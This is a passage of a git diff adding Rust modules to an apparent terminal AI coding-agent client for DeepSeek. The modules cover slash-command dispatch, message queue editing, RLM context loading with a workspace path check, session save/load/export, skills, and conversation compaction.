workspace.join("next.config.ts").exists() { + info.push_str("### Framework: Next.js\n\n"); + } else if workspace.join("vite.config.js").exists() + || workspace.join("vite.config.ts").exists() + { + info.push_str("### Framework: Vite\n\n"); + } + } + // Check for Python project + else if workspace.join("pyproject.toml").exists() || workspace.join("setup.py").exists() { + info.push_str("## Project Type: Python\n\n"); + info.push_str("### Commands\n"); + if workspace.join("pyproject.toml").exists() { + info.push_str("- Install: `pip install -e .`\n"); + } + info.push_str("- Test: `pytest`\n"); + info.push_str("- Format: `black .`\n"); + info.push_str("- Lint: `ruff check .`\n\n"); + } + // Check for Go project + else if workspace.join("go.mod").exists() { + info.push_str("## Project Type: Go\n\n"); + info.push_str("### Commands\n"); + info.push_str("- Build: `go build`\n"); + info.push_str("- Test: `go test ./...`\n"); + info.push_str("- Run: `go run .`\n"); + info.push_str("- Format: `go fmt ./...`\n\n"); + } + // Unknown project type + else { + info.push_str("## Project Type: Unknown\n\n"); + info.push_str("\n\n"); + } + + // Check for README + if workspace.join("README.md").exists() { + info.push_str("### Documentation\n"); + info.push_str("See README.md for project overview.\n\n"); + } + + // Check for .gitignore + if workspace.join(".gitignore").exists() { + info.push_str("### Version Control\n"); + info.push_str("This project uses Git. See .gitignore for excluded files.\n\n"); + } + + info +} + +/// Extract project name from Cargo.toml +fn extract_cargo_name(content: &str) -> Option { + for line in content.lines() { + let line = line.trim(); + if line.starts_with("name") && line.contains('=') { + let parts: Vec<&str> = line.splitn(2, '=').collect(); + if parts.len() == 2 { + let name = parts[1].trim().trim_matches('"').trim_matches('\''); + return Some(name.to_string()); + } + } + } + None +} diff --git a/src/commands/mod.rs b/src/commands/mod.rs new file mode 100644 index 00000000..b446c9fc --- /dev/null +++ b/src/commands/mod.rs @@ -0,0 +1,355 @@ +//! Slash command registry and dispatch system +//! +//! This module provides a modular command system inspired by Codex-rs. +//! Commands are organized by category and dispatched through a central registry. + +mod config; +mod core; +mod debug; +mod init; +mod queue; +pub mod rlm; +mod session; +mod skills; + +use crate::tui::app::{App, AppAction, AppMode}; + +/// Result of executing a command +#[derive(Debug, Clone)] +pub struct CommandResult { + /// Optional message to display to the user + pub message: Option, + /// Optional action for the app to take + pub action: Option, +} + +impl CommandResult { + /// Create an empty result (command succeeded with no output) + pub fn ok() -> Self { + Self { + message: None, + action: None, + } + } + + /// Create a result with just a message + pub fn message(msg: impl Into) -> Self { + Self { + message: Some(msg.into()), + action: None, + } + } + + /// Create a result with an action + pub fn action(action: AppAction) -> Self { + Self { + message: None, + action: Some(action), + } + } + + /// Create a result with both message and action + #[allow(dead_code)] + pub fn with_message_and_action(msg: impl Into, action: AppAction) -> Self { + Self { + message: Some(msg.into()), + action: Some(action), + } + } + + /// Create an error message result + pub fn error(msg: impl Into) -> Self { + Self { + message: Some(format!("Error: {}", msg.into())), + action: None, + } + } +} + +/// Command metadata for help and autocomplete +#[derive(Debug, Clone, Copy)] +pub struct CommandInfo { + pub name: &'static str, + pub aliases: &'static [&'static str], + pub description: &'static str, + pub usage: &'static str, +} + +/// All registered commands +pub const COMMANDS: &[CommandInfo] = &[ + // Core commands + CommandInfo { + name: "help", + aliases: &["?"], + description: "Show help information", + usage: "/help [command]", + }, + CommandInfo { + name: "clear", + aliases: &[], + description: "Clear conversation history", + usage: "/clear", + }, + CommandInfo { + name: "exit", + aliases: &["quit", "q"], + description: "Exit the application", + usage: "/exit", + }, + CommandInfo { + name: "model", + aliases: &[], + description: "Switch or view current model", + usage: "/model [name]", + }, + CommandInfo { + name: "queue", + aliases: &["queued"], + description: "View or edit queued messages", + usage: "/queue [list|edit |drop |clear]", + }, + CommandInfo { + name: "subagents", + aliases: &["agents"], + description: "List sub-agent status", + usage: "/subagents", + }, + CommandInfo { + name: "deepseek", + aliases: &["dashboard", "api"], + description: "Show DeepSeek dashboard and docs links", + usage: "/deepseek", + }, + // Session commands + CommandInfo { + name: "save", + aliases: &[], + description: "Save session to file", + usage: "/save [path]", + }, + CommandInfo { + name: "load", + aliases: &[], + description: "Load session from file (or RLM context in RLM mode)", + usage: "/load [path]", + }, + CommandInfo { + name: "rlm", + aliases: &[], + description: "Enter RLM (Aleph) mode and show quickstart", + usage: "/rlm", + }, + CommandInfo { + name: "aleph", + aliases: &[], + description: "Alias for /rlm (external memory quickstart)", + usage: "/aleph", + }, + CommandInfo { + name: "save-session", + aliases: &["save_session"], + description: "Save RLM session to file", + usage: "/save-session [path]", + }, + CommandInfo { + name: "status", + aliases: &[], + description: "Show RLM context status", + usage: "/status", + }, + CommandInfo { + name: "repl", + aliases: &[], + description: "Toggle RLM REPL mode", + usage: "/repl", + }, + CommandInfo { + name: "compact", + aliases: &[], + description: "Toggle auto-compaction", + usage: "/compact", + }, + CommandInfo { + name: "export", + aliases: &[], + description: "Export conversation to markdown", + usage: "/export [path]", + }, + // Config commands + CommandInfo { + name: "config", + aliases: &[], + description: "Display current configuration", + usage: "/config", + }, + CommandInfo { + name: "set", + aliases: &[], + description: "Modify a setting", + usage: "/set ", + }, + CommandInfo { + name: "yolo", + aliases: &[], + description: "Enable YOLO mode (shell + trust + auto-approve)", + usage: "/yolo", + }, + CommandInfo { + name: "trust", + aliases: &[], + description: "Enable trust mode (access files outside workspace)", + usage: "/trust", + }, + CommandInfo { + name: "logout", + aliases: &[], + description: "Clear API key and return to setup", + usage: "/logout", + }, + // Debug commands + CommandInfo { + name: "tokens", + aliases: &[], + description: "Show token usage for session", + usage: "/tokens", + }, + CommandInfo { + name: "system", + aliases: &[], + description: "Show current system prompt", + usage: "/system", + }, + CommandInfo { + name: "context", + aliases: &[], + description: "Show context window usage", + usage: "/context", + }, + CommandInfo { + name: "undo", + aliases: &[], + description: "Remove last message pair", + usage: "/undo", + }, + CommandInfo { + name: "retry", + aliases: &[], + description: "Retry the last request", + usage: "/retry", + }, + CommandInfo { + name: "init", + aliases: &[], + description: "Generate AGENTS.md for project", + usage: "/init", + }, + CommandInfo { + name: "settings", + aliases: &[], + description: "Show persistent settings", + usage: "/settings", + }, + // Skills commands + CommandInfo { + name: "skills", + aliases: &[], + description: "List available skills", + usage: "/skills", + }, + CommandInfo { + name: "skill", + aliases: &[], + description: "Activate a skill for next message", + usage: "/skill ", + }, + // Debug/cost command + CommandInfo { + name: "cost", + aliases: &[], + description: "Show session cost breakdown", + usage: "/cost", + }, +]; + +/// Execute a slash command +pub fn execute(cmd: &str, app: &mut App) -> CommandResult { + let parts: Vec<&str> = cmd.trim().splitn(2, ' ').collect(); + let command = parts[0].to_lowercase(); + let command = command.strip_prefix('/').unwrap_or(&command); + let arg = parts.get(1).map(|s| s.trim()); + + // Match command or alias + match command { + // Core commands + "help" | "?" => core::help(app, arg), + "clear" => core::clear(app), + "exit" | "quit" | "q" => core::exit(), + "model" => core::model(app, arg), + "queue" | "queued" => queue::queue(app, arg), + "subagents" | "agents" => core::subagents(app), + "deepseek" | "dashboard" | "api" => core::deepseek_links(), + + // Session commands + "save" => session::save(app, arg), + "load" => { + if app.mode == AppMode::Rlm { + rlm::load(app, arg) + } else { + session::load(app, arg) + } + } + "rlm" | "aleph" => rlm::enter(app), + "save-session" | "save_session" => rlm::save_session(app, arg), + "status" => rlm::status(app), + "repl" => rlm::repl(app), + "compact" => session::compact(app), + "export" => session::export(app, arg), + + // Config commands + "config" => config::show_config(app), + "settings" => config::show_settings(app), + "set" => config::set_config(app, arg), + "yolo" => config::yolo(app), + "trust" => config::trust(app), + "logout" => config::logout(app), + + // Debug commands + "tokens" => debug::tokens(app), + "cost" => debug::cost(app), + "system" => debug::system_prompt(app), + "context" => debug::context(app), + "undo" => debug::undo(app), + "retry" => debug::retry(app), + + // Project commands + "init" => init::init(app), + + // Skills commands + "skills" => skills::list_skills(app), + "skill" => skills::run_skill(app, arg), + + _ => CommandResult::error(format!( + "Unknown command: /{command}. Type /help for available commands." + )), + } +} + +/// Get command info by name or alias +pub fn get_command_info(name: &str) -> Option<&'static CommandInfo> { + let name = name.strip_prefix('/').unwrap_or(name); + COMMANDS + .iter() + .find(|cmd| cmd.name == name || cmd.aliases.contains(&name)) +} + +/// Get all commands matching a prefix (for autocomplete) +#[allow(dead_code)] +pub fn commands_matching(prefix: &str) -> Vec<&'static CommandInfo> { + let prefix = prefix.strip_prefix('/').unwrap_or(prefix).to_lowercase(); + COMMANDS + .iter() + .filter(|cmd| { + cmd.name.starts_with(&prefix) || cmd.aliases.iter().any(|a| a.starts_with(&prefix)) + }) + .collect() +} diff --git a/src/commands/queue.rs b/src/commands/queue.rs new file mode 100644 index 00000000..a5e2ca0a --- /dev/null +++ b/src/commands/queue.rs @@ -0,0 +1,129 @@ +//! Queue commands: queue list/edit/drop/clear + +use crate::tui::app::App; + +use super::CommandResult; + +const PREVIEW_LIMIT: usize = 120; + +pub fn queue(app: &mut App, args: Option<&str>) -> CommandResult { + let arg = args.unwrap_or("").trim(); + if arg.is_empty() || arg.eq_ignore_ascii_case("list") { + return list_queue(app); + } + + let mut parts = arg.split_whitespace(); + let action = parts.next().unwrap_or("").to_lowercase(); + + match action.as_str() { + "edit" => edit_queue(app, parts.next()), + "drop" | "remove" | "rm" => drop_queue(app, parts.next()), + "clear" => clear_queue(app), + _ => CommandResult::error("Usage: /queue [list|edit |drop |clear]"), + } +} + +fn list_queue(app: &mut App) -> CommandResult { + let mut lines = Vec::new(); + let queued = app.queued_message_count(); + + if let Some(draft) = app.queued_draft.as_ref() { + lines.push("Editing queued message:".to_string()); + lines.push(format!("- {}", truncate_preview(&draft.display))); + } + + if queued == 0 { + if lines.is_empty() { + return CommandResult::message("No queued messages"); + } + return CommandResult::message(lines.join("\n")); + } + + lines.push(format!("Queued messages ({queued}):")); + for (idx, message) in app.queued_messages.iter().enumerate() { + lines.push(format!( + "{}. {}", + idx + 1, + truncate_preview(&message.display) + )); + } + + lines.push("Tip: /queue edit to edit, /queue drop to remove".to_string()); + + CommandResult::message(lines.join("\n")) +} + +fn edit_queue(app: &mut App, index: Option<&str>) -> CommandResult { + if app.queued_draft.is_some() { + return CommandResult::error( + "Already editing a queued message. Send it or /queue clear to discard.", + ); + } + let index = match parse_index(index) { + Ok(index) => index, + Err(err) => return CommandResult::error(err), + }; + + let Some(message) = app.remove_queued_message(index) else { + return CommandResult::error("Queued message not found"); + }; + + app.input = message.display.clone(); + app.cursor_position = app.input.len(); + app.queued_draft = Some(message); + app.status_message = Some(format!("Editing queued message {}", index + 1)); + + CommandResult::message(format!( + "Editing queued message {} (press Enter to re-queue/send)", + index + 1 + )) +} + +fn drop_queue(app: &mut App, index: Option<&str>) -> CommandResult { + let index = match parse_index(index) { + Ok(index) => index, + Err(err) => return CommandResult::error(err), + }; + + if app.remove_queued_message(index).is_none() { + return CommandResult::error("Queued message not found"); + } + + CommandResult::message(format!("Dropped queued message {}", index + 1)) +} + +fn clear_queue(app: &mut App) -> CommandResult { + let queued = app.queued_message_count(); + let had_draft = app.queued_draft.take().is_some(); + app.queued_messages.clear(); + if queued == 0 && !had_draft { + return CommandResult::message("Queue already empty"); + } + + CommandResult::message("Queue cleared") +} + +fn parse_index(input: Option<&str>) -> Result { + let Some(input) = input else { + return Err("Missing index. Usage: /queue edit or /queue drop "); + }; + let raw = input + .parse::() + .map_err(|_| "Index must be a positive number")?; + if raw == 0 { + return Err("Index must be >= 1"); + } + Ok(raw - 1) +} + +fn truncate_preview(text: &str) -> String { + if text.chars().count() <= PREVIEW_LIMIT { + return text.to_string(); + } + let mut out = String::new(); + for ch in text.chars().take(PREVIEW_LIMIT.saturating_sub(3)) { + out.push(ch); + } + out.push_str("..."); + out +} diff --git a/src/commands/rlm.rs b/src/commands/rlm.rs new file mode 100644 index 00000000..62f77c8b --- /dev/null +++ b/src/commands/rlm.rs @@ -0,0 +1,253 @@ +//! RLM commands for the TUI (load/status/repl/save-session). + +use std::fs; +use std::path::{Path, PathBuf}; + +use crate::rlm::{context_id_from_path, unique_context_id}; +use crate::tui::app::{App, AppMode}; + +use super::CommandResult; + +const DEFAULT_CHUNK_SIZE: usize = 2000; +const DEFAULT_CHUNK_OVERLAP: usize = 200; + +pub fn welcome_message() -> String { + [ + "DeepSeek RLM / Aleph Sandbox", + "Commands: /rlm, /aleph, /load , /repl, /status, /save-session", + "Press Tab to exit RLM mode", + "Use /repl to toggle expression mode (chat is the default)", + "Tip: /load @path forces workspace-relative paths (e.g. @docs/rlm-paper.txt)", + "", + "Expressions:", + " len(ctx)", + " search(\"pattern\")", + " lines(1, 20)", + " chunk(2000, 200)", + " chunk_sections(20000)", + " chunk_auto(20000)", + " vars(), get(\"name\"), set(\"name\", \"value\")", + "", + "Tip: rlm_query auto_chunks runs the same question over chunk_auto slices.", + "Tip: /save-session persists the current RLM session.", + ] + .join("\n") +} + +pub fn overview_message() -> String { + [ + "RLM / Aleph Quickstart", + "Use /rlm or /aleph to enter external-memory mode.", + "Use /load @path to load a file into the RLM context store.", + "Use /status to list contexts and usage totals.", + "Use /repl to toggle expression mode (chat is default).", + "Tip: rlm_query auto_chunks runs the same question over chunk_auto slices.", + ] + .join("\n") +} + +pub fn enter(app: &mut App) -> CommandResult { + if app.mode != AppMode::Rlm { + app.set_mode(AppMode::Rlm); + } + app.rlm_repl_active = false; + CommandResult::message(overview_message()) +} + +pub fn repl(app: &mut App) -> CommandResult { + if app.mode != AppMode::Rlm { + app.set_mode(AppMode::Rlm); + } + if app.rlm_repl_active { + app.rlm_repl_active = false; + return CommandResult::message("Exited RLM REPL mode. Chat is active."); + } + app.rlm_repl_active = true; + CommandResult::message(welcome_message()) +} + +pub fn status(app: &mut App) -> CommandResult { + let session = match app.rlm_session.lock() { + Ok(session) => session, + Err(_) => return CommandResult::error("Failed to access RLM session"), + }; + + if session.contexts.is_empty() { + return CommandResult::message("No RLM contexts loaded. Use /load ."); + } + + let mut lines = Vec::new(); + lines.push("RLM Session".to_string()); + lines.push(format!("Active context: {}", session.active_context)); + lines.push(format!("Loaded contexts: {}", session.contexts.len())); + lines.push(format!( + "Queries: {} | Input tokens: {} | Output tokens: {}", + session.usage.queries, session.usage.input_tokens, session.usage.output_tokens + )); + + let mut ids: Vec<_> = session.contexts.keys().collect(); + ids.sort(); + for id in ids { + if let Some(ctx) = session.contexts.get(id) { + let source = ctx + .source_path + .as_ref() + .map(|s| format!(" (source: {s})")) + .unwrap_or_default(); + let chunk_count = ctx.chunk(DEFAULT_CHUNK_SIZE, DEFAULT_CHUNK_OVERLAP).len(); + let section_count = ctx.chunk_sections(20_000).len(); + lines.push(format!( + "- {id}: {} lines, {} chars, {} chunks, {} sections{source}", + ctx.line_count, ctx.char_count, chunk_count, section_count + )); + if !ctx.variables.is_empty() { + lines.push(format!(" variables: {}", ctx.variables.len())); + } + } + } + + CommandResult::message(lines.join("\n")) +} + +pub fn load(app: &mut App, path: Option<&str>) -> CommandResult { + let Some(raw) = path else { + return CommandResult::error("Usage: /load "); + }; + + let resolved = match resolve_path(app, raw) { + Ok(path) => path, + Err(err) => return CommandResult::error(err), + }; + + let mut session = match app.rlm_session.lock() { + Ok(session) => session, + Err(_) => return CommandResult::error("Failed to access RLM session"), + }; + + let base_id = context_id_from_path(&resolved); + let id = unique_context_id(&session, &base_id); + let (line_count, char_count) = match session.load_file(&id, &resolved) { + Ok(stats) => stats, + Err(err) => { + return CommandResult::error(format!("Failed to load {}: {err}", resolved.display())); + } + }; + + CommandResult::message(format!( + "Loaded {} ({} lines, {} chars)", + resolved.display(), + line_count, + char_count + )) +} + +pub fn save_session(app: &mut App, path: Option<&str>) -> CommandResult { + let save_path = if let Some(p) = path { + PathBuf::from(p) + } else { + let timestamp = chrono::Local::now().format("%Y%m%d_%H%M%S"); + PathBuf::from(format!("rlm_session_{timestamp}.json")) + }; + + let parent_dir = save_path + .parent() + .filter(|p| !p.as_os_str().is_empty()) + .map(std::path::Path::to_path_buf); + if let Some(dir) = parent_dir + && let Err(err) = fs::create_dir_all(&dir) + { + return CommandResult::error(format!( + "Failed to create directory {}: {err}", + dir.display() + )); + } + + let session = match app.rlm_session.lock() { + Ok(session) => session, + Err(_) => return CommandResult::error("Failed to access RLM session"), + }; + let json = match serde_json::to_string_pretty(&*session) { + Ok(json) => json, + Err(err) => return CommandResult::error(format!("Failed to serialize session: {err}")), + }; + + match fs::write(&save_path, json) { + Ok(()) => CommandResult::message(format!("RLM session saved to {}", save_path.display())), + Err(err) => CommandResult::error(format!("Failed to save session: {err}")), + } +} + +fn resolve_path(app: &App, raw: &str) -> Result { + let raw = raw.trim(); + let (raw, force_workspace) = if let Some(stripped) = raw.strip_prefix('@') { + (stripped.trim(), true) + } else { + (raw, false) + }; + if raw.is_empty() { + return Err("Usage: /load (use @ for workspace-relative paths)".to_string()); + } + + let candidate = if force_workspace { + app.workspace.join(raw.trim_start_matches(['/', '\\'])) + } else if Path::new(raw).is_absolute() { + PathBuf::from(raw) + } else { + app.workspace.join(raw) + }; + let canonical = candidate.canonicalize().map_err(|err| { + let mut message = format!("Failed to resolve path {}: {err}", candidate.display()); + if !force_workspace { + message.push_str("\nTip: use /load @path to resolve relative to the workspace."); + } + message + })?; + let workspace_root = app + .workspace + .canonicalize() + .unwrap_or_else(|_| app.workspace.clone()); + if !app.trust_mode && !canonical.starts_with(&workspace_root) { + return Err("Path is outside workspace. Use /trust to allow access.".to_string()); + } + Ok(canonical) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::config::Config; + use crate::tui::app::{App, TuiOptions}; + use std::fs; + + fn make_app(workspace: PathBuf) -> App { + let options = TuiOptions { + model: "test-model".to_string(), + workspace, + allow_shell: false, + use_alt_screen: true, + max_subagents: 1, + skills_dir: PathBuf::from("."), + memory_path: PathBuf::from("memory.md"), + notes_path: PathBuf::from("notes.txt"), + mcp_config_path: PathBuf::from("mcp.json"), + use_memory: false, + start_in_agent_mode: false, + yolo: false, + resume_session_id: None, + }; + App::new(options, &Config::default()) + } + + #[test] + fn resolve_path_with_at_prefix_uses_workspace_root() { + let tmp = tempfile::tempdir().expect("tempdir"); + let docs_dir = tmp.path().join("docs"); + fs::create_dir_all(&docs_dir).expect("create docs dir"); + let file_path = docs_dir.join("rlm-paper.txt"); + fs::write(&file_path, "hello").expect("write file"); + + let app = make_app(tmp.path().to_path_buf()); + let resolved = resolve_path(&app, "@/docs/rlm-paper.txt").expect("resolve path with @"); + assert_eq!(resolved, file_path.canonicalize().expect("canonicalize")); + } +} diff --git a/src/commands/session.rs b/src/commands/session.rs new file mode 100644 index 00000000..4bcb83e1 --- /dev/null +++ b/src/commands/session.rs @@ -0,0 +1,181 @@ +//! Session commands: save, load, compact, export + +use std::fmt::Write; +use std::path::PathBuf; + +use crate::compaction::CompactionConfig; +use crate::session_manager::create_saved_session; +use crate::tui::app::{App, AppAction}; +use crate::tui::history::{HistoryCell, history_cells_from_message}; + +use super::CommandResult; + +/// Save session to file +pub fn save(app: &mut App, path: Option<&str>) -> CommandResult { + let save_path = if let Some(p) = path { + PathBuf::from(p) + } else { + let timestamp = chrono::Local::now().format("%Y%m%d_%H%M%S"); + PathBuf::from(format!("session_{timestamp}.json")) + }; + + let messages = app.api_messages.clone(); + let session = create_saved_session( + &messages, + &app.model, + &app.workspace, + u64::from(app.total_tokens), + app.system_prompt.as_ref(), + ); + + let sessions_dir = save_path + .parent() + .filter(|p| !p.as_os_str().is_empty()) + .map_or_else(|| app.workspace.clone(), std::path::Path::to_path_buf); + + match std::fs::create_dir_all(&sessions_dir) { + Ok(()) => { + match std::fs::write(&save_path, serde_json::to_string_pretty(&session).unwrap()) { + Ok(()) => { + app.current_session_id = Some(session.metadata.id.clone()); + CommandResult::message(format!( + "Session saved to {} (ID: {})", + save_path.display(), + &session.metadata.id[..8] + )) + } + Err(e) => CommandResult::error(format!("Failed to save session: {e}")), + } + } + Err(e) => CommandResult::error(format!("Failed to create directory: {e}")), + } +} + +/// Load session from file +pub fn load(app: &mut App, path: Option<&str>) -> CommandResult { + let load_path = if let Some(p) = path { + if p.contains('/') || p.contains('\\') { + PathBuf::from(p) + } else { + app.workspace.join(p) + } + } else { + return CommandResult::error("Usage: /load "); + }; + + let content = match std::fs::read_to_string(&load_path) { + Ok(c) => c, + Err(e) => { + return CommandResult::error(format!("Failed to read session file: {e}")); + } + }; + + let session: crate::session_manager::SavedSession = match serde_json::from_str(&content) { + Ok(s) => s, + Err(e) => { + return CommandResult::error(format!("Failed to parse session file: {e}")); + } + }; + + app.api_messages.clone_from(&session.messages); + app.history.clear(); + for msg in &app.api_messages { + app.history.extend(history_cells_from_message(msg)); + } + app.mark_history_updated(); + app.transcript_selection.clear(); + app.model.clone_from(&session.metadata.model); + app.workspace.clone_from(&session.metadata.workspace); + app.total_tokens = u32::try_from(session.metadata.total_tokens).unwrap_or(u32::MAX); + app.total_conversation_tokens = app.total_tokens; + app.current_session_id = Some(session.metadata.id.clone()); + if let Some(sp) = session.system_prompt { + app.system_prompt = Some(crate::models::SystemPrompt::Text(sp)); + } + app.scroll_to_bottom(); + + CommandResult::with_message_and_action( + format!( + "Session loaded from {} (ID: {}, {} messages)", + load_path.display(), + &session.metadata.id[..8], + session.metadata.message_count + ), + crate::tui::app::AppAction::SyncSession { + messages: app.api_messages.clone(), + system_prompt: app.system_prompt.clone(), + model: app.model.clone(), + workspace: app.workspace.clone(), + }, + ) +} + +/// Toggle auto-compaction +pub fn compact(app: &mut App) -> CommandResult { + app.auto_compact = !app.auto_compact; + let mut compaction = CompactionConfig::default(); + compaction.enabled = app.auto_compact; + compaction.token_threshold = app.compact_threshold; + compaction.model = app.model.clone(); + + CommandResult::with_message_and_action( + format!( + "Auto-compact: {}", + if app.auto_compact { "ON" } else { "OFF" } + ), + AppAction::UpdateCompaction(compaction), + ) +} + +/// Export conversation to markdown +pub fn export(app: &mut App, path: Option<&str>) -> CommandResult { + let export_path = path.map_or_else( + || { + let timestamp = chrono::Local::now().format("%Y%m%d_%H%M%S"); + PathBuf::from(format!("chat_export_{timestamp}.md")) + }, + PathBuf::from, + ); + + let mut content = String::new(); + content.push_str("# Chat Export\n\n"); + let _ = write!( + content, + "**Model:** {}\n**Workspace:** {}\n**Date:** {}\n\n---\n\n", + app.model, + app.workspace.display(), + chrono::Local::now().format("%Y-%m-%d %H:%M:%S") + ); + + for cell in &app.history { + let (role, body) = match cell { + HistoryCell::User { content } => ("**You:**", content.clone()), + HistoryCell::Assistant { content, .. } => ("**Assistant:**", content.clone()), + HistoryCell::System { content } => ("*System:*", content.clone()), + HistoryCell::ThinkingSummary { summary } => ("*Thinking:*", summary.clone()), + HistoryCell::Tool(tool) => ("**Tool:**", render_tool_cell(tool, 80)), + }; + + let _ = write!(content, "{}\n\n{}\n\n---\n\n", role, body.trim()); + } + + match std::fs::write(&export_path, content) { + Ok(()) => CommandResult::message(format!("Exported to {}", export_path.display())), + Err(e) => CommandResult::error(format!("Failed to export: {e}")), + } +} + +fn render_tool_cell(tool: &crate::tui::history::ToolCell, width: u16) -> String { + tool.lines(width) + .into_iter() + .map(line_to_string) + .collect::>() + .join("\n") +} + +fn line_to_string(line: ratatui::text::Line<'static>) -> String { + line.spans + .into_iter() + .map(|span| span.content.to_string()) + .collect::() +} diff --git a/src/commands/skills.rs b/src/commands/skills.rs new file mode 100644 index 00000000..e54e8095 --- /dev/null +++ b/src/commands/skills.rs @@ -0,0 +1,92 @@ +//! Skills commands: skills, skill + +use std::fmt::Write; + +use crate::skills::SkillRegistry; +use crate::tui::app::App; +use crate::tui::history::HistoryCell; + +use super::CommandResult; + +/// List all available skills +pub fn list_skills(app: &mut App) -> CommandResult { + let skills_dir = app.skills_dir.clone(); + let registry = SkillRegistry::discover(&skills_dir); + + if registry.is_empty() { + let msg = format!( + "No skills found.\n\n\ + Skills location: {}\n\n\ + To add skills, create directories with SKILL.md files:\n \ + {}/my-skill/SKILL.md\n\n\ + Format:\n \ + ---\n \ + name: my-skill\n \ + description: What this skill does\n \ + allowed-tools: read_file, list_dir\n \ + ---\n\n \ + ", + skills_dir.display(), + skills_dir.display() + ); + return CommandResult::message(msg); + } + + let mut output = format!("Available skills ({}):\n", registry.len()); + output.push_str("─────────────────────────────\n"); + for skill in registry.list() { + let _ = writeln!(output, " /{} - {}", skill.name, skill.description); + } + let _ = write!( + output, + "\nUse /skill to run a skill\nSkills location: {}", + skills_dir.display() + ); + + CommandResult::message(output) +} + +/// Run a specific skill - activates skill for next user message +pub fn run_skill(app: &mut App, name: Option<&str>) -> CommandResult { + let name = match name { + Some(n) => n.trim(), + None => { + return CommandResult::error("Usage: /skill "); + } + }; + + let skills_dir = app.skills_dir.clone(); + let registry = SkillRegistry::discover(&skills_dir); + + if let Some(skill) = registry.get(name) { + let instruction = format!( + "You are now using a skill. Follow these instructions:\n\n# Skill: {}\n\n{}\n\n---\n\nNow respond to the user's request following the above skill instructions.", + skill.name, skill.body + ); + + app.add_message(HistoryCell::System { + content: format!("Activated skill: {}\n\n{}", skill.name, skill.description), + }); + + app.active_skill = Some(instruction); + + CommandResult::message(format!( + "Skill '{}' activated.\n\nDescription: {}\n\nType your request and the skill instructions will be applied.", + skill.name, skill.description + )) + } else { + let available: Vec = registry.list().iter().map(|s| s.name.clone()).collect(); + + if available.is_empty() { + CommandResult::error(format!( + "Skill '{name}' not found. No skills installed.\n\nUse /skills to see how to add skills." + )) + } else { + CommandResult::error(format!( + "Skill '{}' not found.\n\nAvailable skills: {}", + name, + available.join(", ") + )) + } + } +} diff --git a/src/compaction.rs b/src/compaction.rs new file mode 100644 index 00000000..a7e6e8e5 --- /dev/null +++ b/src/compaction.rs @@ -0,0 +1,427 @@ +//! Context compaction for long conversations. + +#![allow(dead_code)] + +use anyhow::Result; +use std::fmt::Write; +use std::time::Duration; + +use crate::client::DeepSeekClient; +use crate::llm_client::LlmClient; +use crate::models::{ + CacheControl, ContentBlock, Message, MessageRequest, SystemBlock, SystemPrompt, +}; + +/// Configuration for conversation compaction behavior. +#[derive(Debug, Clone)] +pub struct CompactionConfig { + pub enabled: bool, + pub token_threshold: usize, + pub message_threshold: usize, + pub model: String, + pub cache_summary: bool, +} + +impl Default for CompactionConfig { + fn default() -> Self { + Self { + enabled: false, + token_threshold: 50000, + message_threshold: 50, + model: "deepseek-reasoner".to_string(), + cache_summary: true, + } + } +} + +pub fn estimate_tokens(messages: &[Message]) -> usize { + // Rough estimate: ~4 chars per token + messages + .iter() + .map(|m| { + m.content + .iter() + .map(|c| match c { + ContentBlock::Text { text, .. } => text.len() / 4, + ContentBlock::Thinking { thinking } => thinking.len() / 4, + ContentBlock::ToolUse { input, .. } => serde_json::to_string(input) + .map(|s| s.len() / 4) + .unwrap_or(100), + ContentBlock::ToolResult { content, .. } => content.len() / 4, + }) + .sum::() + }) + .sum() +} + +pub fn should_compact(messages: &[Message], config: &CompactionConfig) -> bool { + if !config.enabled { + return false; + } + + let token_estimate = estimate_tokens(messages); + let message_count = messages.len(); + + token_estimate > config.token_threshold || message_count > config.message_threshold +} + +fn truncate_chars(text: &str, max_chars: usize) -> &str { + if max_chars == 0 { + return ""; + } + match text.char_indices().nth(max_chars) { + Some((idx, _)) => &text[..idx], + None => text, + } +} + +/// Result of a compaction operation with metadata. +#[derive(Debug)] +pub struct CompactionResult { + /// Compacted messages + pub messages: Vec, + /// Summary system prompt + pub summary_prompt: Option, + /// Number of retries used before success + pub retries_used: u32, +} + +/// Check if an error is transient and worth retrying. +fn is_transient_error(e: &anyhow::Error) -> bool { + let msg = e.to_string().to_lowercase(); + msg.contains("timeout") + || msg.contains("timed out") + || msg.contains("connection") + || msg.contains("rate limit") + || msg.contains("too many requests") + || msg.contains("503") + || msg.contains("502") + || msg.contains("429") + || msg.contains("network") + || msg.contains("temporarily unavailable") +} + +/// Compact messages with retry and backoff for transient errors. +/// +/// This function wraps `compact_messages` with retry logic to handle +/// transient network errors and rate limits. It uses exponential backoff +/// with delays of 1s, 2s, 4s between retries. +/// +/// # Safety +/// - Never panics +/// - Never corrupts the original messages (returns error instead) +/// - Only retries on transient errors (network, rate limit, etc.) +pub async fn compact_messages_safe( + client: &DeepSeekClient, + messages: &[Message], + config: &CompactionConfig, +) -> Result { + const MAX_RETRIES: u32 = 3; + const BASE_DELAY_MS: u64 = 1000; + + let mut last_error: Option = None; + + for attempt in 0..MAX_RETRIES { + if attempt > 0 { + // Exponential backoff: 1s, 2s, 4s + let delay = Duration::from_millis(BASE_DELAY_MS * (1 << (attempt - 1))); + tokio::time::sleep(delay).await; + } + + match compact_messages(client, messages, config).await { + Ok((msgs, prompt)) => { + return Ok(CompactionResult { + messages: msgs, + summary_prompt: prompt, + retries_used: attempt, + }); + } + Err(e) => { + // Only retry on transient errors + if !is_transient_error(&e) { + return Err(e); + } + last_error = Some(e); + } + } + } + + Err(last_error + .unwrap_or_else(|| anyhow::anyhow!("Compaction failed after {MAX_RETRIES} retries"))) +} + +pub async fn compact_messages( + client: &DeepSeekClient, + messages: &[Message], + config: &CompactionConfig, +) -> Result<(Vec, Option)> { + if messages.is_empty() { + return Ok((Vec::new(), None)); + } + + // Keep the last few messages as-is + let keep_recent = 4; + let (to_summarize, recent) = if messages.len() <= keep_recent { + return Ok((messages.to_vec(), None)); + } else { + let split_point = messages.len() - keep_recent; + (&messages[..split_point], &messages[split_point..]) + }; + + // Create a summary of older messages + let summary = create_summary(client, to_summarize, &config.model).await?; + + // Build new message list with summary as system block + let summary_block = SystemBlock { + block_type: "text".to_string(), + text: format!( + "## Conversation Summary\n\nThe following is a summary of the earlier conversation:\n\n{summary}\n\n---\nRecent messages follow:" + ), + cache_control: if config.cache_summary { + Some(CacheControl { + cache_type: "ephemeral".to_string(), + }) + } else { + None + }, + }; + + Ok(( + recent.to_vec(), + Some(SystemPrompt::Blocks(vec![summary_block])), + )) +} + +async fn create_summary( + client: 